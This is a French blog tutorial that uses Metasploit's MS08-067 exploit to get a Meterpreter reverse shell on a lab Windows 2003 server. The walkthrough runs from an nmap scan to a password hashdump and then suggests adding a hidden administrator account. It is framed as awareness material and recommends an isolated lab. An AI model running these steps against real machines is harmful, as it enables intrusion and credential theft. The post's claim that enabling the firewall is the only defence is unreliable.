K1dr3k


Le blog d’un passionné de Linux et des produits OpenSource

Sécurité – Obtenir une session sur un serveur Windows (2000,XP,2003) distant

Après une petite pause, voici de nouveaux articles qui il me semble sont importants pour la sécurité de nos plateformes.
En effet, je pars du principe qu’il est indispensable de connaître les failles de nos systèmes pour pouvoir mieux les sécuriser.
Pour ce faire, je me suis donc mis en mode « MetaSploit« , durant une semaine de vacances afin de tester notre système « favori » ( pour un linuxien, c’est très dur de le dire ) Windows 2003/XP.





1- Préparation du pc en mode « Hacker »

Dans un premier temps, récupération du live cd « BackTrack ».
Url : http://www.backtrack-linux.org/downloads/
Version : Bactrack 4 R2

Une fois téléchargé, vous avez deux possibilités :
- soit monter l’ISO, sur une machine virtuelle ( Vmware Wokstation, par exemple ), ce que je vous conseille fortement de faire. Cette méthode va limiter les impacts sur un réseau « Host Only » privé. Il s’agit de la meilleure méthode à mon avis, vous préparez une autre machine virtuelle en serveur win2k3 sur ce même réseau, et vous pourrez effectuer tous les tests que vous souhaitez sans effet indésirable sur des serveurs de production.
- soit graver l’ISO et redémarrer son pc sous Backtrack, mais les tests s’effectueront sur votre réseau,.. de test ou de production ??!!, soyez vigilants.

Une fois démarré, vous arrivez sur la distribution backtrack en mode console. Pour ce que nous allons faire, il n’y a pas forcément besoin de lancer l’interface graphique.
Les informations de connexion sont les suivants :
- Username : root
- Password : toor


2- Cartographie du réseau

Maintenant que nous sommes prêts à tester la sécurité de nos systèmes, nous allons récupérer les IP des serveurs Windows. Si vous connaissez déjà les IPs de vos serveurs, vous pouvez passer à l’étape suivante.

root@bt:~# nmap -O 10.0.0.0/24
-
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-05-05 10:33 CEST
Nmap scan report for 10.0.0.10
Host is up (0.00055s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
MAC Address: 00:0C:29:62:69:EE (VMware)
Device type: general purpose
Running: Microsoft Windows 2003
OS details: Microsoft Windows Server 2003 SP1 or SP2
Network Distance: 1 hop

Nous pouvons constater que le port 445 est ouvert, ce qui signifie qu’aucun pare feu n’est actif sur le système, ou très mal configuré.


3- Utilisation d’une faille pour obtenir une session

Comme nous l’avons vu précédemment, certains ports sont accessibles sur le serveur win2k3.
Nous allons donc utiliser « MetaSploit« , pour exploiter une faille et mettre en avant les risques encourus par le système.

3-1 Lancement de la console MetaSploit

root@bt:~# cd /pentest/exploits/framework3/
root@bt:~# ./msfconsole
-
                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888
       =[ metasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits - 355 auxiliary - 39 post
+ -- --=[ 217 payloads - 27 encoders - 8 nops
       =[ svn r12537 updated today (2011.05.04)
msf >

3-2 Mise à jour des exploits - MetaSploit

Afin d'obtenir toutes les dernières versions des exploits, nous executons une mise à jour au sein de la console.

msf > msfupdate
[*] exec: msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[*]
At revision 12541.

It’s GOOD, continuons !


4- Exploitation d’une faille sur le port 445

Une faille a été découverte récemment qui met à mal la plupart des systèmes Microsoft Windows de win2k à win2k3 SP2 en passant par XP SP3. Cette faille permet l’exécution de code arbitraire à travers le Microsoft Windows Server Service. Nous allons tester l’exploit sur notre serveur win2k3.

Pour ce faire, vous devez spécifier 2 variables LHOST et RHOST. Il s’agit pour LHOST de l’@IP local ( backtrack host ) et RHOST correspond à l’@IP du serveur Microsoft distant.

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set rhost $RHOST
msf exploit(ms08_067_netapi) > set lhost $LHOST
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.0.0.23:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (749056 bytes) to 10.0.0.10
[*] Meterpreter session 1 opened (10.0.0.23:4444 -> 10.0.0.10:1028) at Thu May 05 11:01:05 +0200 2011
meterpreter >

et voilà le tour est joué, vous avez une session ouverte sur l’hôte distant. Vous pouvez à travers « Meterpreter, interagir sur le système distant ».

- Upload de fichiers à distance, via la commande « upload file_on_backtrack c:\\directory\\  »
- Download de fichiers, via la commande « download c:\\directory\\file_to_download where_download_on_backtrack_system »
- Obtenir un shell, via la commande « shell »
- Récupérer un Hashdump,…, correspondance username/hash password, via la commande « hashdump »

meterpreter > hashdump
Administrator:500:e52cac674a7a9a224a3b108f3fa6cb7d:8046f7eaee8fc128ad06bdd841c7786c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0?:1001:aad3b435b51404eeaad3b435b51404ee:6c2ce697a409f3ff01caf544a76fdceb:::

A ce niveau les possibilités sont infinies, vous pouvez créer un nouvel utilisateur appartenant au groupe administrateur, pour un usage ultérieur. Vous pouvez également à travers la commande « hashdump » sous Meterpreter, obtenir les hash des utilisateurs et les déchiffrer grâce à « John The Ripper« .


5- Conclusion

Après quelques recherches la seule manière de contourner cet exploit, est d’activer le firewall de windows. Je n’ai jamais été très fan de ce pare feu, mais il s’agit de la seule solution à l’heure actuelle pour protéger l’intégrité de son système Windows, ou sinon passer sous LINUX ;-) .

J’ai fait cet article pour sensibiliser les administrateurs systèmes à bien connaître les systèmes qu’ils administrent au quotidien. En effet, mieux vaut être paranoiaque plutôt que insouciant, néanmoins en privilégiant la disponibilité de la production.






Category: Linux - Sécurité

Tagged:

Leave a Reply

Page optimized by WP Minify WordPress Plugin